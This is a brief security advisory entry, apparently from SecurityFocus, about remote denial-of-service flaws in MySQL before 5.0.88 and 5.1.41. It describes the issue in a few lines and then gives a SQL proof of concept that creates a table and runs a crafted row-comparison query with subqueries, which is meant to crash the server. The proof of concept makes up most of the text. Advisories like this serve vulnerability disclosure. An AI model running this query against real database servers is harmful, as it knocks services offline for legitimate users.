source: https://www.securityfocus.com/bid/37297/info

MySQL is prone to multiple remote denial-of-service vulnerabilities because it fails to handle certain SQL expressions.

An attacker can exploit these issues to crash the application, denying access to legitimate users.

Versions prior to MySQL 5.0.88 and 5.1.41 are vulnerable. 

drop table if exists `t1`;
create table `t1`(`a` float);
insert into `t1` values (-2),(-1);
select  1 from `t1`
where
`a` <> '1' and not
row(`a`,`a`) <=>
row((select 1 from `t1` where 1=2),(select 1 from `t1`)) 
into @`var0`;